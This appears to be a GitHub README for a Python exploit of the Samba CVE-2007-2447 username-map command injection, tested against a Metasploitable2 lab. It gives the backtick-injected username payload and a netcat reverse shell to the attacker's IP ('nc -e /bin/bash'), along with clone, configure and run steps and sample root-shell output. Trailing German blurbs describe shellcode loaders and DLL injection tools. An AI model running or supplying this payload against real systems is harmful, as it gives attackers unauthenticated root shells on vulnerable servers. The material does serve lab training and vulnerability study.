
Samba 3.0.20 username map script command injection exploit — reverse shell via SMB authentication, built from scratch in Python using impacket. No Metasploit.
Samba is open-source software that implements the SMB protocol, allowing file and printer sharing between computers on a network — Windows to Linux, Linux to Linux, across mixed environments. It's the standard way Unix/Linux systems participate in Windows-based networks.
CVE-2007-2447 is a command injection vulnerability in Samba versions 3.0.0 through 3.0.25rc3. Unlike CVE-2011-2523 and CVE-2010-2075 (which were supply chain attacks — intentional backdoors), this is a developer mistake: user-supplied input (the username) was passed directly to a shell command without sanitization, allowing an attacker to inject and execute arbitrary system commands.
Samba has a feature called username map script — a configuration option that runs a shell script to map incoming usernames to local system usernames. Internally, Samba executes it like this:
/bin/sh -c "map_script.sh <username>"
The developer trusted that usernames would only contain normal characters. They didn't sanitize shell metacharacters like backticks.
In Linux shell, backticks mean "execute this as a command first":
/bin/sh -c "map_script.sh `/=`nohup nc -e /bin/bash KALI_IP 4444`"
The shell executes the backtick content before map_script.sh even runs —
giving the attacker direct command execution as whatever user Samba is running
as (root on Metasploitable2).
| CVE-2011-2523 | CVE-2010-2075 | CVE-2007-2447 | |
|---|---|---|---|
| Type | Supply chain (intentional backdoor) | Supply chain (intentional backdoor) | Developer mistake (command injection) |
| Protocol | FTP | IRC | SMB |
| Trigger | :) in username | AB; prefix | backticks in username |
| Shell type | Bind shell | Reverse shell | Reverse shell |
impacket's SMB client/=`nohup nc -e /bin/bash KALI_IP 4444`/bin/sh -c — shell executes the backticksnohup nc on the target connects back to Kali port 4444 with a bash shelllistener.accept() receives the incoming shell connection/=`nohup nc -e /bin/bash 192.168.15.129 4444`
/= → satisfies Samba's username format requirement` ` → shell backticks — execute everything inside as a commandnohup → keeps the process alive even after Samba closes the connectionnc → netcat — raw networking tool-e /bin/bash → attach bash to the connection — gives whoever connects a shell192.168.15.129 4444 → your Kali IP and listening portimpacket librarynetcat on the target (present by default on Metasploitable2)Install impacket:
pip install impacket
git clone https://github.com/rushikesh-a-bhujbal/CVE-2007-2447.git
cd CVE-2007-2447
pip install impacket
Edit main.py:
kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"
Run:
python3 main.py
Example output:
[*] Listening on port 4444...
[+] Payload sent. Waiting for shell...
[+] Shell received from ('192.168.15.132', 37665)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/
> exit
| Scenario | Behaviour |
|---|---|
| SMB connection refused | Exception raised, script exits |
| Login fails (expected) | Caught silently — payload already fired |
| Shell never connects back | listener.accept() blocks indefinitely |
| Command produces no output | recv() times out silently, returns to prompt |
This exploit is developed strictly for educational purposes and authorized security research only.
Built and tested exclusively against a local Metasploitable2 virtual machine in a fully isolated lab environment.
Do not use this against any system you do not own or have explicit written permission to test. Unauthorized use is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.
The author accepts no responsibility for misuse of this code.
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub

Open-Source-Exploitation-Framework mit modularem Payload-, Encoder- und Hilfssystem für Penetrationstests, Schwachstellenvalidierung und Sicherheitsforschung in Netzwerken und Anwendungen.

Generiert positionsunabhängigen Shellcode für x86, x64 oder AMD64+x86, der .NET-Assemblies, PE-Dateien und andere Windows-Payloads aus dem Speicher lädt und mit Parametern ausführt

Shellcode-Implementierung von Reflektierender DLL-Injektion. Wandelt DLLs in positionsunabhängigen Shellcode um.